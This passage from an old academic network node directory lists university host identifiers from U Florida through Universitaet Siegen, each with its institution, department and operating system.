UFPINE U Florida CIRCA VMS

UFENG U Florida Col Engr VM/SP

UFFSC U Florida Faculty Sup Ctr VM/SP

CGEUGE52 U Geneva DEC VMS

HGRRUG0 U Groningen NOS

HGRRUG5 U Groningen VMS 4 2

UOGUELPH U Guelph VM/CMS VM/SP

UOGVAX2 U Guelph, CIS UNIX BSD

DHVMHH1 U Hannover IBM VM/SP R2 01

UHCCUX U Hawaii Comp Ctr ULTRIX

UHPLATO U Hawaii Comp Ctr NOS

UHCCMVS U Hawaii Comp Ctr, Hon, USA MVS/SP 1.3.5 UHCCVM U Hawaii Comp Ctr, Hon, USA VM/SP/HPO 4.2 UHCCVX U Hawaii Comp Ctr, Hon, USA VMS

DHDTRN1 U Heidelberg Immunol Inst IBM VM/SP HPO R4 2 FINUHCB U Helsinki Phys Comp VMS

UHUPVM1 U Houston Comp Ctr VM/SP

UHNIX1 U Houston Comp Ctr ATT

UHNIX2 U Houston Comp Ctr ATT

UHRCC U Houston Research Comp Ctr VMS

UHRCC2 U Houston Research Comp Ctr 2 VMS

IDUI1 U Idaho VM/SP

NCSAVMS U Ill Ntl Crt Sprcomp Appl VMS

NCSAVMSA U Ill Ntl Ctr Sprcomp Appl VMS

NCSAVMSB U Ill Ntl Ctr Sprcomp Appl VMS

UIUCNPL U Ill‑ Urb‑Champ Nuc Phy Lab VMS

UICVM U Illinois Chicago VM/SP

UICMVS U Illinois Chicago MVS/SP

UICPHY U Illinois Chicago VMS

UICVM2 U Illinois Chicago VM/SP

UICVMC U illinois Chicago AISS/ACC VM/SP

UICMVSA U Illinois Chicago AISS/ACC MVS/XA 2.1.5 UIUCMRL U Illinois Comp Ctr VMS

UIUCHEPA U Illinois High Energy Physics VMS

UIUCHEPB U Illinois High Energy Physics VMS

UIUCVME U Illinois Urbana‑Cham Comp Svcs VM/SP

UIAMVS U Iowa MVS/SP

UIAECE U Iowa UNIX BSD

UIAPRB U Iowa PRIMOS

UKANVM U Kansas Comp Srvs VM/SP

UKANMED U Kansas Med Ctr Dpt Info Sys VM/SP

DKAKFK51 U Karlsruhe Rechenzentrum VMS

DKAUNI14 U Karlsruhe Rechenzentrum IBM VM/SP R4 UKCC U Kentucky Comp Ctr VM/SP

UKCCB U Kentucky Comp Ctr VM/SP

UKCCS U Kentucky Comp Ctr VM/SP HPO UKWANG U Kentucky DP Ctr WANG VS

UKMA U Kentucky Math Sci UNIX BSD

DKIUNI0 U Kiel TOPS‑10

LAVALVM2 U Laval VM/SP

HLERUL53 U Leiden VMS 4 5

HLERUL2 U Leiden MVS/SP 1 3

HLERUL5 U Leiden VMS 4 1

HLERUL51 U Leiden VMS 4 1

HLERUL54 U Leiden Medical Infor VMS 4 1

HMARL5 U Limburg VMS 4

ULKYVM U Louisville Ctrl Comp VM/SP

ULKYVX02 U Louisville VAX Cluster VMS

ULKYVX04 U Louisville VAX Cluster VMS

ULKYVX05 U Louisville VAX Cluster VMS

ULKYVX03 U Louisville VAX Cluster VMS

ULKYVX06 U Louisville VAX Cluster VMS

ULKYVX07 U Louisville VAX Cluster VMS

MECAN1 U Maine Computer Appl Network VMS

MAINE U Maine Computing Center VM/SP

PORTLAND U Maine Portland Comp Ctr VM/SP

UOFMCC U Manitoba Comp Ctr

UOFMCCX U Manitoba Comp Ctr VM

DMARUM8 U Mannheim SIEMENS BS2000

UMDARS U Maryland College Pk ARS Lab VMS

UMDARS1 U Maryland College Pk ARS1 Lab VMS

UMCINCOM U Maryland College Pk Comp Sci Ctr VMS

UMDB U Maryland College Pk Comp Sci Ctr VM/SP

UMDC U Maryland College Pk Comp Sci Ctr VM/SP

UMDT U Maryland College Pk Comp Sci Ctr VM/SP

UMD2 U Maryland College Pk Comp Sci Ctr OS 1100

UMBC1 U Maryland Comp Info Serv VMS

UMDACC U Maryland Computer Admin Compt Ctr. VM/SP

UMDD U Maryland Computer Science Ctr VM/SP

UMES U Maryland Eastern Shore VM/SP

UMDENP U Maryland Experimental Nuclear Phys VMS

UMDHEP U Maryland High Energy Physics VMS

UMAB U Maryland Medical School VM/SP

UMUC U Maryland U College VM/SP

UMASSVM U Mass Sch of Engineering VM/SP

UMASS U Massachusetts at Amherst NOS 2.5.2 DGOGWD01 U Max‑Planck‑Ges Goettingen OS 1100 UMICHUB U Mich Comp Ctr. MTS

UMICHUM U Mich Comp Ctr. MTS

UMDSCVM U Mich Data Sys Ctr VM VM/SP

UMDSCXA U Mich Data Sys Ctr XA MVS/XA 2.2

UMIPHYS U Mich HEP VMS

UMINN1 U Minnesota St. Paul Comp Ctr VM/SP

UMMVSA U Missouri Central Facil MVS/SP

UMVMA U Missouri Central Facil VM/SP

UMCVMB U Missouri Columbia VM/HPO UMCECN01 U Missouri Columbia VMS

UMCCSL1 U Missouri Columbia Campus ‑ CC VMS

UMKCVAX1 U Missouri Kansas City VMS

UMKCVAX2 U Missouri Kansas City VMS

UMRVMC U Missouri Rolla VM/SP

UMRVMA U Missouri Rolla Campus VM/SP

UMRVMB U Missouri Rolla Campus VM/HPO5 UMRUNIXA U Missouri Rolla Campus BSD 4.3 UMSLVMA U Missouri St. Louis Campus VM/SP

UMSLVMB U Missouri St. Louis Campus VM/SP

UMSLVAXA U Missouri St. Louis Campus VMS

UMKCVAX3 U Missouri Truman VMS

UDEM U Moncton MPE V

UNCCHEM U N Carolina ACS VMS

UNCVM1 U N Carolina ACS VM/SP

UNCVX1 U N Carolina ACS VMS

UNCSPHV3 U N Carolina Sch Publ Health VMS

UNCSPHVX U N Carolina Sch Publ Health VMS

UNCSPHV2 U N Carolina Sch Publ Health VMS

UNLARS U Nebr‑Lincoln Agric Res Srv VMS

UNLAMC U Nebr‑Lincoln Amer Math Comp. VMS

UNLASVAX U Nebr‑Lincoln Arts & Sciences VMS

UNLVAX4 U Nebr‑Lincoln CALMIT Lab VMS

UNLCDC2 U Nebr‑Lincoln Comp Res Ctr NOS/VE

UNLVAX1 U Nebr‑Lincoln Comp Res Ctr VMS

UNLENVAX U Nebr‑Lincoln Eng. Coll VMS

UNLVAX3 U Nebr‑Lincoln Eng. Coll VMS

UNLPDVAX U Nebr‑Lincoln Print & Dup VMS

UNLTCVAX U Nebr‑Lincoln Teach. Coll VMS

UNLADVAX U Nebr‑Lincoln VP Acad. Affairs VMS

UNLVM U Nebraska Comp Svcs VM/SP/HPO UNLCDC3 U Nebraska Lincoln Comp Ctr NOS

UNBMVS1 U New Brunswick MVS/XA

UNBVM1 U New Brunswick VM/SP 5

UNMB U New Mexico Comp Ctr VMS

UNFVM U North Florida Comp Svcs VM/SP

IRISHMVS U Notre Dame Comp Ctr MVS/SP

UNDHEP U Notre Dame High Ener Phys VMS

IRISHVM U Notre Dame PC Lab VM/SP

IRISHVM2 U Notre Dame PC Lab VM/SP

IRISHVX2 U Notre Dame Physics Dept VMS

NDRADLAB U Notre Dame Radiation Lab VMS

ALASKA U of Alaska Comp Net VMS

BANUIA51 U of Antwerp VMS

ARIZVM1 U of Arizona CCIT IBM VM

ARIZJVAX U of Arizona CCIT VAX VMS

ARIZRVAX U of Arizona CCIT VAX VMS

UBCMTSA U of BC Admin System MTS

UCSFC450 U of California San Francisco ULTRIX 32M UCSFFFFT U of California San Francisco ULTRIX

UCSFUSE U of California San Francisco UNIX

HGRRUG52 U of Groningen VMS 4 2

UKAG U of KY Agri Data Ctr VM/SP

CCOL U of Ky Community Colleges VM/SP

HLERUL56 U of Leiden DIOS VMS 4 2 HLERUL55 U of Leiden DIOS VMS

UC780 U of Maryland VMS

ECSVAX U of NC Gen'l Admin Cent Office ‑ Educat. UNIX BSDrvs

OREGON1 U of O CC VM/SP

UOTELG01 U of Ottawa Elec Eng VMS

UTORDAIS U of T DAIS VMS

UTKVX2 U of Tennessee VMS

UTKVX3 U of Tennessee Computing Center VMS

WATLAGER U of Waterloo, EERC VMS

WISCAGE U of Wis, Inst on Aging VMS

DOLUNI1 U Oldenburg IBM VM/SP R4

DOSUNI U Osnabrueck CGK BS 3

UOTTAWA U Ottawa Computer Ctr VM/HPO

UOTCSI1 U Ottawa Computer Sci Dept UNIX

UOTCSI2 U Ottawa Computer Sci Dept UNIX

UOTADM01 U Ottawa Faculty of Admin VMS

IPACUC U Palermo VM/SP

PENNDRLN U Penn DRL Comp Facil VM/SP

PENNDRLS U Penn DRL Comp Facil VM/SP HPO PENNLRSM U Penn Matter Lab VMS

PENNHEP1 U Penn Physics VMS

PITTVMS U Pittsburgh Comp Info Sys VMS

PITTUNIX U Pittsburgh Comp Info Sys ULTRIX EMDUPM11 U Poli Madrid Ctr Calc IBM VM/SP R4 UPEI U Prince Edward Island VMS

UQAM U Quebec Montreal VM/SP

UREGINA1 U Regina VM/SP

UREGINAV U Regina VMS 4 5

UREGINA2 U Regina Dept Comp Services UNIX BSD UORCHEM U Rochester Chemistry VAX VMS

UORVM U Rochester Comp Ctr VM/SP

UORDB2 U Rochester Comp Ctr VMS

UORHBV U Rochester Comp Ctr VMS

UORJVN U Rochester Comp Ctr VMS

UORKV U Rochester Comp Ctr VMS

UORKV2 U Rochester Comp Ctr VMS

UORMVS U Rochester Comp Ctr MVS/SP

UORUNIX U Rochester Comp Ctr UNIX BSD UORDBV U Rochester Computing Ctr VMS

UORGSM U Rochester Grad Sch Mngmnt VM/SP

UORHEP U Rochester High Energy Physics VMS

UOROPT U Rochester Institue of Optics VMS

SASK U Saskatchewan DEC VMS 4 7 BAGAMCOK U South Carolina Bus College VM/SP

UNIVSCVM U South Carolina Comp Svcs VM/SP

KYLARA U Southern Calif VMS

MIRRIM U Southern Calif VMS

ZAPHOD U Southern Calif VMS

GEO U Southern Calif VMS

BMSR U Southern Calif Biomed Simul Res VMS

RAMOTH U Southern Calif Chemistry Dept VMS

JAXOM U Southern Calif Eng Dept VMS

MOUSE U Southern Calif Eng Dept VMS

PERN U Southern Calif Engineering Sch VMS

SC U Southern Calif Engineering Sch VMS

USCVM U Southern California VM/HPO

USMVAX U Southern Maine Portland Comp Ctr UNIX

DS0RUS1I U Stuttgart IBM VM/SP R2 1

DS0RUS1P U Stuttgart IBM VM/SP R2 1

DS0IKE51 U Stuttgart Inst Kernenergetik VMS

DS0MPA51 U Stuttgart Materialpruef DEC VMS 4 7 DS0RUS51 U Stuttgart Rechenzentrum VMS

DS0RUS0 U Stuttgart, Germany NOS

UTCVM U Tenn at Chatta Ctr of Excel VM/SP

UTCMUSIC U Tenn at Chatta MUSIC Sys MUSIC/SP

UTKVX1 U Tennessee VMS

UTKSM1 U Tennessee VMS

UTADNX U Texas Austin Comp Ctr VMS

UTA3081 U Texas Austin Comp Ctr VM/SP

UTA4341 U Texas Austin Comp Ctr VM/SP

UTGATE U Texas Austin Comp Ctr VMS

UTNET U Texas Austin Comp Ctr VMS

UTAIVC U Texas Austin Comp Ctr VMS

UTAIV1 U Texas Austin Comp Ctr VMS

UTAIV2 U Texas Austin Comp Ctr VMS

UTAIV3 U Texas Austin Comp Ctr VMS

UTAIV4 U Texas Austin Comp Ctr VMS

UTADP U Texas Austin Data Proc. Sys MVS/XA

UTAPHY U Texas Austin Physics Dept VMS

UTDALVM1 U Texas Dallas Acad Comp Ctr VM/SP

UTEPA U Texas El Paso CC VM/SP

UTEP U Texas El Paso Comp Ctr VM/SP

UTSA4381 U Texas San Antonio OS/VS1

UTSAVM1 U Texas San Antonio Comp Res VM/SP

UOFT01 U Toledo VM/SP

UOFT02 U Toledo VMS

NORUNIT U Trondheim IBM VM/SP R4

DTUZDV2 U Tubingen ZDV BASF MVS/SP

DTUZDV1 U Tubingen Zent Datenverar IBM VM/SP R3 UTHSCSA U TX Hlth Sci Ctr Comp Resrcs VMS

SEUMDC01 U UME$ CDC NOS 2 3

HUTRUU0 U Utrecht AOS/VE

HUTRUU51 U Utrecht Neth VMS 4 6

UVUNIX U Victoria UNIX

UVPHYS U Victoria VAX

UVVM U Victoria VM VM/SP

VIRGINIA U Virginia Acad Computing NOS

UWACDC U Washington Acad Comp Ctr NOS

UWAV1 U Washington Acad Comp Ctr VAX1 VMS

UWAV2 U Washington Acad Comp Ctr VAX2 VMS

UWAV3 U Washington Acad Comp Ctr VAX3 VMS

UWAV4 U Washington Acad Comp Ctr VAX4 VMS

MAX U Washington Acad Comp Srvs VMS

UWAVM U Washington Academic Comp Ctr VM/SP

UWAIS1 U Washington Admin Data Proc VM/SP HPO UWAMVS1 U Washington Admin Data Proc MVS/SP

UWACHEM U Washington Chemistry VAX VMS

UWASH U Washington Cmptng. & Commun VM/SP

SAAM U Washington Ctr for Bioeng. VMS

CPAC U Washington Ctr for Process Analy Chem VMS

UWAEE U Washington Electrical Engr VM/SP

UWAENG U Washington Electrical Engr VM/SP

UWALOCKE U Washington Locke Comp Ctr VMS

UWAPHAST U Washington Physics VAX VMS

WATACS U Waterloo Adv Control Sys VM/SP

WATACO U Waterloo Arts Comp Off VMS

WATDCS U Waterloo Comp Svcs VM/SP

WATCSG U Waterloo Comp Sys Grp VM/SP

WATDCSU U Waterloo Dept Comp Svcs UNIX BSD WATMTA U Waterloo Dept Comp Svcs VMS

WATSCI U Waterloo Facil Science VMS

WATMAD U Waterloo Mapping Analysis & Design VMS

WATER U Waterloo Math/ICR UNIX

WATMNET U Waterloo MICRONET VM/SP

UWF U West Fla Comp Ctr VM/SP

UWOCC1 U Western Ontario VM/SP

WINDSOR1 U Windsor VM/SP

WISCPSLB U Wisconsin Dept Physics VMS

WISCMAC1 U Wisconsin Madison Comp Ctr VMS

WISCPSLA U Wisconsin Phys Sci Lab VMS

WISCPSLC U Wisconsin Physical Sci Lab VMS

DW0URZ0 U Wuppertal HRZ CDC NOS 2 3

WYOCDC1 U Wyoming NOS

UWYO U Wyoming VMS

DHBRRZ41 U. Bremen SIEMENS BS3000 MSP 20

FRUTC51 U.T.C. Compiegne, France DEC VMS

DHDUB1 UB Heidelberg, Germany IBM VM/SP R4 UCLASAUP UCLA ‑ Arch and Urban Plng VM/SP

UCLACH UCLA Chem Dept. VMS

UCLAUE UCLA Crystallog. Res. VMS

UCLASTRO UCLA Department of Astronomy VMS

UCLAPH UCLA Dept. of Physics VMS

UCLAHEP UCLA High Energy Physics VMS

UCLAIEPI UCLA IE Physics VMS

UCLASP UCLA Space & Plasma Physics VMS

UCLASS UCLA Space Science VMS

SBITP UCSB Inst Theor Physics VMS

UCSFCOPE UCSF Clinic for Lab Medicine ULTRIX BANUFS11 UFSIA, Antwerpen, Belgium VM/SP

BANUIA52 UIA Antwerpen VMS 4 5

UIUCVMC UIUC ‑ ENGR VM/SP

UIUCVMD UIUC _ CSO VM/SP

BBRBFU01 ULB/VUB NOS

BLIULG14 ULG, Liege, Belgium VM/SP R5 BLIULG15 ULG, Liege, Belgium VM/SP R5 SEUMDC51 UMDAC Umea, Sweden DEC VMS GRATHUN1 UNATH, ATHENS, GREECE NOS 2 5.2 (678/670)

UNC UNC Comp Ctr MVS/SP

UNCCVM UNCC Compt. Srvs. VM VM/SP

GRCRUN11 UNCR Heraklion, Crete, Greece VM/SP

GRCRVAX1 UNCR, Heraklion, Crete, Greece VMS 4 3

FRUNES21 UNESCO MVS/SP

DBTHRZ5 Uni Bayreuth RZ, Germany DEC VMS 4 6

DERDBS5 Uni Erlangen VMS

DFRRUF1 UNI Freiburg, Germany IBM VM/SP HPO R4 DGIPIG5 Uni Giessen Physik, Germany DEC VMS 4 5 DHDURZ1 Uni Heidelberg IBM VM/SP R5 DKAUNI5T Uni Karlsruhe VMS

DKAUNI0P Uni Karlsruhe (IPF), Germany PRIMOS REV. 20.0.4 DKAUNI0I Uni Karlsruhe (IRA), Germany UNIX 4 3 BSD DKAUNI12 Uni Karlsruhe, Telematik IBM VM/SP R3 DMZUK1 Uni Klinik Mainz, Germany IBM VM/SP R5 0 DK0RRZK1 Uni Koeln, Germany IBM VM/SP R4 DKNKURZ1 Uni Konstanz, Germany IBM VM/SP R5

HLERUL57 Uni Leiden VMS 4 5

HLERUL58 Uni Leiden, Netherlands VMS 4 5 HLERUL5I Uni Leiden, Netherlands SUN OS 3 5 DMSWWU0X Uni Muenster, Germany IBM IX/370 DMSWWU5P Uni Muenster, Kernphysik VMS

HROEUR1 Uni Rotterdam, Netherlands VM/SP R4 1 HROEUR51 Uni Rotterdam, Netherlands VMS 4

CSGHSG52 Uni St Gallen, Switzerland DEC VMS CSGHSG53 Uni St Gallen, Switzerland DEC VMS DS0IND5 Uni Stuttgart, Germany DEC VMS 4.4 DS0ITA51 Uni Stuttgart, Germany DEC VMS 4 6 DS0RUS52 Uni Stuttgart, Germany DEC VMS 4 5 DS0RUS54 Uni Stuttgart, Germany DEC VMS 4 5 DS0MSV1 Uni Stuttgart, Germany IBM VM/SP R4 DS0SYN51 Uni Stuttgart, Germany DEC VMS 4 6 DS0IFU56 Uni Stuttgart, Germany DEC VMS 4 6 DS0IFF5 Uni Stuttgart, Germany DEC VMS 4 2 DTUMED1 Uni Tuebingen, Med. Rechenzent IBM VM/SP

HENTHT51 Uni Twente VMS 4

HUTRUU52 Uni Utrecht, Netherlands VMS 4 6 HUTRUU53 Uni Utrecht, Netherlands VMS 4 4 CNEDCU51 Uni. Neuchatel, Switzerland DEC VMS DKARH01 UNI‑C, Aarhus, Denmark (CDC) CDC NOS 2 4.1‑630/628 DKARH02 UNI‑C, Aarhus, Denmark (VAX) DEC VMS 4 4 DANPOST UNI‑C, Aarhus, Denmark (VAX) ULTRIX

DKEARN UNI‑C, Lyngby, Denmark (IBM) IBM VM/SP HPO R4 2 NEUVM1 UNI‑C, Lyngby, Denmark (IBM) IBM VM/SP HPO R4 2 DKUNIL51 UNI‑C, Lyngby, Denmark (VAX) DEC VMS 4 5 NEUMVS1 UNI‑C, Lyngby,Denmark (AMDAHL) IBM MVS/XA USUHS Uniformed Svrs Univ of Health Sci VMS

UNION Union College VNS

DBNINF5 Univ Bonn Informatik VMS

UCLARUAC Univ Calif Los Angeles UCLA/OAC VMS

UCCVMB Univ Calif System‑wide Admin VM/HPO

UCLAAIS Univ California LA AIS MVS/XA EMDUCM11 Univ Complutense de Madrid VM/SP

UCHCECVM Univ de Chile CEC VM/SP

UCHDCI01 Univ de Chile DESECI VM/SP

CFRUNI51 Univ de Fribourg DEC VMS 4 4 USACHVM1 Univ de Santiago de Chile VM/SP

UTALCAVX Univ de Talca VMS

DD0RUD81 Univ Duesseldorf SIEMENS BS2000 V8 0

UGAIBM1 Univ Georgia MVS/JES3

UGA205 Univ Georgia VSOS

LAVALVX1 Univ Laval VMS

LAVALMU1 Univ Laval Music Sys MUSIC/SP

DMZRZU71 Univ Mainz BULL MULTICS MR 11R

DMSWWU1C Univ Muenster, Germany IBM VM/SP HPO R5 0 UNAMVM1 Univ Nat'l Auto De Mexico VM

UNBSJ Univ New Brunswick St. John PRIMOS

NUNO Univ New Orleans Admin DP MVS

UNO Univ New Orleans CRC VMS

ARIZMIS Univ of Arizona ‑ MIS Dept VMS

SOVSET Univ of Arizona ‑ Soviet Studies VMS

ARIZEVAX Univ of Arizona College of Eng. EVAX2 VMS

UALR Univ of Arkansas Little Rock VMS

UAFSYSA Univ of Arkansas Main Camp VM/SP

UAFSYSB Univ of Arkansas Main Camp VM/SP HPO UAFMUSA Univ of Arkansas Main Camp MUSIC/SP

UAMS Univ of Arkansas Med Sci VMS

UBCMTSG Univ of BC General Sys MTS

UBCMTSL Univ of BC Library System MTS

NOBERGEN Univ of Bergen, Norway IBM VM/SP R5 UNCAEDU Univ of Calgary VMS

UCSCZ Univ of California CC Series Z VMS

UCSCCRLP Univ of California Comp Res Lab Pger UNIX

UCSCCRLV Univ of California Comp Res Lab Vger UNIX

UCSCCRLI Univ of California Comp Res Lab VM VM/SP

UCSCCRLJ Univ of California Comp Res Lab, Jup UNIX

UCSCCRLS Univ of California Comp. Res Lab Saturn UNIX

UCSCLOA Univ of California Lick Observ UNIX

UCSCERIS Univ of California Physics Bd UNIX 4.2

UCSD Univ of California San Diego Acad Gatwy SuSUN UNIX UCSDMVSA Univ of California San Diego AdCom Op MVS/XA

UCDAVIS Univ of California, Davis UNIX

UCDHEP Univ of California, Davis VMS

UCHASTRO Univ of Chicago ‑ Astron/Astrophy UNIX

COLOLASP Univ of Colorad / LASP VMS

COLOSPGS Univ of Colorado ‑ Colorado Springs CS VMS

FARRAND Univ of Colorado Boulder ‑ Farrand Hall VMS

CUDENVER Univ of Colorado Denver VMS

UCOLMCC Univ of Colorado Health Sci Ctr VMS

DAYTON Univ of Dayton VMS

DUCAIR Univ of Denver Comptng & Info Res VMS

IFASGNV Univ of Florida VMS

CGEUGE53 Univ of Geneva DEC VMS CGEUGE11 Univ of Geneva IBM VM/SP CGEUGE54 Univ of Geneva DEC VMS UGACDC1 Univ of Georgia NOS

UGA Univ of Georgia VM/SP

UGABUS Univ of Georgia VM/SP

UGAMUSIC Univ of Georgia MUSIC/SP

UGAXA Univ of Georgia VM/XA/SF

CCQC Univ of Georgia VM/SP

SREL Univ of Georgia VMS

TIFTON Univ of Georgia Coastal Plains Exp Sta VM/SP

GRIFFIN Univ of Georgia Experiment Station VM/SP

HARTFORD Univ of Hartford VMS

UHHEPG Univ of Hawaii High Enrgy Phys Grp VMS

FINUHB Univ of Helsinki VMS

ISEARN Univ of Iceland VM/SP

IDCSVAX Univ of Idaho VMS

UIUCSCS Univ of Illinois Chemistry VMS

UICBAL Univ of Illinois Chicago Biomolec Analy LaVMS

UKANVAX Univ of Kansas VAX Sys VMS

UKPR Univ of Kentucky Prim PRIMOS

FINKUO Univ of Kuopio VMS

CLSUNI51 Univ of Lausanne DEC VMS

UMBSKY Univ of Mass at Boston VMS

UMBMAP Univ of Mass at Boston VMS

UMAECS Univ of Mass, Eng. Comp Svrs VMS

UMBC2 Univ of MD, Baltimore Co VMS

UMNACVX Univ of Minnesota Acad Comptng VMS

UMNACBR Univ of Minnesota Acad Comptng VMS

UMNACCA Univ of Minnesota Acad Comptng NOS

UMNACUX Univ of Minnesota Acad Comptng UMAX 4.2 UMNADMIN Univ of Minnesota Admin Info Svcs MVS

UMNDUL Univ of Minnesota Duluth VMS

UMNHCS Univ of Minnesota Health Comp Sci VMS

UMNHSNOS Univ of Minnesota Health Sci Cmptng Srvs NOS

UMNHSNVE Univ of Minnesota Health Sci Cmptng Srvs NOS

UMNMOR Univ of Minnesota Morris VMS

SIMVAX Univ of Minnesota Sim Resource VMS

UMNSOM Univ of Minnesota, Sch of Mgmt VM/SP

UMSVM Univ of Mississippi VM/SP

UMSMVS Univ of Mississippi MVS/SP

UMSNOS Univ of Mississippi NOS

UMSVSOS Univ of Mississippi VSOS

UMSPHY Univ of Mississippi VMS

UNMCVM Univ of Nebraska Med Ctr VM/HPO

UNOMA1 Univ of Nebraska Omaha CC VMS

UNOMA2 Univ of Nebraska Omaha CC VMS

UNEV Univ of Nevada Sys CC NOS

UNB Univ of New Brunswick MVS/XA

UNHH Univ of New Hampshire VMS

UNCVAX1 Univ of North Carolina CH VMS

UNCG Univ of North Carolina Greensboro Acad CC VMS

UNTVM1 Univ of North Texas Comp Ctr VM/SP

UNTMUSIC Univ of North Texas MUSIC

NTSUVAXA Univ of North Texas VAX A VMS

NTSUVAXB Univ of North Texas VAX B VMS

UOKMVSA Univ of Oklahoma Norman MVS/XA‑JES2 UOREGON Univ of Oregon Dept. Comp. & Info Scie, UNIX BSD UONEURO Univ of Oregon Inst. of Neurosci VAX VMS

UOXRAY Univ of Oregon Molecular Bio VAX VMS

OREGON Univ of Oregon VAX 8800 VMS

UOTADM02 Univ of Ottawa

UPRENET Univ of Puerto Rico Ed Net VMS

URVAX Univ of Richmond VMS

UORNSRL Univ of Rochester VMS

SCRANTON Univ of Scranton Comp Ctr VMS

SCRVMSYS Univ of Scranton Comp Ctr VM/SP

UDESVM Univ of Sherbrooke VM/SP 4

UDESMA Univ of Sherbrooke

UDESMB Univ of Sherbrooke

USOUTHAL Univ of South Alabama VM/SP

USMCP6 Univ of Southern Miss CP6

UTCHP1 Univ of Tennessee ‑ Chatta. MPE V/E

UTKVX4 Univ of Tennessee Comp Ctr VAX4 VMS

UTKCS1 Univ of Tennessee Computer Sci Dept VMS

UTMEM1 Univ of Tennessee, Memphis VMS

UTMEM2 Univ of Tennessee, Memphis VMS

UTMEM3 Univ of Tennessee, Memphis VMS

UTARLVM1 Univ of Texas ‑ Arlington VM VM/SP

UTARLACS Univ of Texas Arlington MVS/SP UTARLADM Univ of Texas Arlington MVS/SP

UTARLG Univ of Texas Arlington VMS

UTMBEACH Univ of Texas Med Branch at Galveston VMS

UTSW Univ of Texas Southwestern Med Ctr Dallas VMS

UTHVM1 Univ of Texas Sys Cancer Ctr VM/SP

UTCHPC Univ of Texas Sys Ctr for High Perfor CmptVMS

UTARL Univ of Texas Sys Off of Telecom. Srvcs VMS

UTDAL Univ of Texas Sys Off of Telecom. Srvcs VMS

UTEPD Univ of Texas Sys Off of Telecom. Srvcs VMS

UTHOU Univ of Texas Sys Off of Telecom. Srvcs VMS

UTHSA Univ of Texas Sys Off of Telecom. Srvcs VMS

UTHTYL Univ of Texas Sys Off of Telecom. Srvcs VMS

UTMGAL Univ of Texas Sys Off of Telecom. Srvcs VMS

UTPB Univ of Texas Sys Off of Telecom. Srvcs VMS

UTSA Univ of Texas Sys Off of Telecom. Srvcs VMS

UTSYS Univ of Texas Sys Off of Telecom. Srvcs VMS

UTTYL Univ of Texas Sys Off of Telecom. Srvcs VMS

UTSPH Univ of Texas Sys Off of Telecom. Srvcs VMS

UTCCSP Univ of Texas Sys Off of Telecom. Srvcs VMS

UTMSI Univ of Texas Sys Off of Telecom. Srvcs VMS

THENIC Univ of Texas Sys Off of Telecom. Srvcs VMS

UTHDAL Univ of Texas Systems VMS

JPNUTDME Univ of Tokyo VM/SP

JPNUTINS Univ of Tokyo ‑ INS OS IV/F4 MSP JPNUTKOM Univ of Tokyo Coll of Arts & Sci VM/SP

JPNISSP Univ of Tokyo/Inst for Solid St Phy OS IV/F4 MSP UTORCSRI Univ of Toronto

UTORSCG Univ of Toronto VM/SP

UTORSCS Univ of Toronto VMS

UTORGPU Univ of Toronto SUN BSD UTORMCL1 Univ of Toronto VMS

UTORME Univ of Toronto Mech Eng UNIX

UTOROCI Univ of Toronto OCI VMS

UTORPHYS Univ of Toronto Physics VMS

JPNTSUKU Univ of Tsukuba ‑ SIPC DYNIX

TULSA Univ of Tulsa CP‑6 C01 UTAHCCA Univ of Utah CC VMS

UTAHBUS Univ of Utah College of Bus CC VM

UTAHLIB Univ of Utah Marriott Lib VM/SP

UTAHMED Univ of Utah Med Sch Scie CC VMS

UVMVM Univ of Vermont VM/SP

UVMADMIN Univ of Vermont VM/SP

UVMVAX Univ of Vermont VMS

UWAJANUS Univ of Washington Astro. HST Project VMS

UWAGEM Univ of Washington Gemini Comptng Faclty VM/SP

UWAMATSC Univ of Washington Materials Sci Comp VM/SP

UWAPA2 Univ of Washington Physics Theory Grp VMS

UWOVAX Univ of Western Ontario VMS

WINDSOR2 Univ of Windsor VMS

UWPG02 Univ of Winnipeg DEC VMS 5 0 WISCCDE Univ of Wis., Cntr. Demog. VMS

WISCPHEN Univ of Wisc Pheno Inst MICROVMS WISCGPS Univ of Wisc, Geog/PoliSci Depts VMS

UWLAX Univ of Wisconsin ‑ La Crosse VMS

UWMCSD4 Univ of Wisconsin ‑ Milwaukee UNIX

UWSTOUT Univ of Wisconsin ‑ Stout VMS

UWEC Univ of Wisconsin Eau Claire CP‑6 COO WISCSOC Univ of Wisconsin Madison Socio Dept VMS

OSHKOSHW Univ of Wisconsin Oshkosh VMS

WISCMAC3 Univ of Wisconsin, MACC VMS

HROEUR0M Univ Rotterdam MUSIC/SP EBCCUAB1 Univ. Autonoma de Barcelona DEC VMS IMIBOCCO Univ. BOCCONI ‑ Milano, Italy IBM VM/SP R4 FINUH Univ. of Helsinki, Finland VMS 4.5

FINUJO Univ. of Joensuu, Finland DEC VMS 4 7 FINTUVM Univ. of Turku, Finland IBM VM/SP R5 EBRUPC51 Univ. Politecnica de Catalunya DEC VMS 4 5 EMDICAI1 Univ. Pontificia Comillas, Sp DG AOS/VS 6 06 DK0RRZK0 Univer Koeln Regls Rechentrum NOS

EMDUAHM1 Universidad Alcala de Henares DG AOS/VS 6 06 EMDUAM12 Universidad Autonoma Madrid IBM VM/SP R4 EMDUAM51 Universidad Autonoma Madrid VAX‑VMS 4 7 EB0UB011 Universidad Barcelona ‑ Spain VM/SP

EBUBECM1 Universidad Barcelona ‑ Spain IBM VM CMS REL 5 ELEULE11 Universidad de Leon, Spain IBM VM/SP R1 2 EOVUOV11 Universidad de Oviedo ‑ C P.D. IBM VM/SP R3 1 IGECUNIV Universita Genova VM/SP

IMEUNIV Universita Messina IBM VM/SP R3 1 ICSUNIV Universita' della Calabria VM/SP

IBGUNIV Universita' di Bergamo Italy IBM VM/SP R4 IPRUNIV Universita' di Parma, Italy IBM VM/SP R2 IRMUNISA Universita' La Sapienza IBM VM/SP R4 IRMECOSA Universita' La Sapienza IBM VM/SP R3 IRMINGSA Universita' La Sapienza IBM VM/SP R3 ITNCISCA Universita' Trento, Italy DEC VMS 3 0 DBIUNI11 Universitaet Bielefeld HRZ VM/SP

DHBRRZ45 Universitaet Bremen SIEMENS BS3000 MSP 20 DDOHRZ21 Universitaet Dortmund IBM MVS/SP 1 3.3 DERRZE0 Universitaet Erlangen CDC NOS 2 DE0HRZ1A Universitaet Essen IBM VM/SP R4 DGIHRZ01 Universitaet Giessen NOS

DHHUNI4 Universitaet Hamburg, Germany SIEMENS BS3000 MSP 20 DHHUNI1 Universitaet Hamburg, Germany VM/SP R5 DMZRZU5P Universitaet Mainz, Germany DEC VMS 4 5 DSIHRZ51 Universitaet Siegen VMS

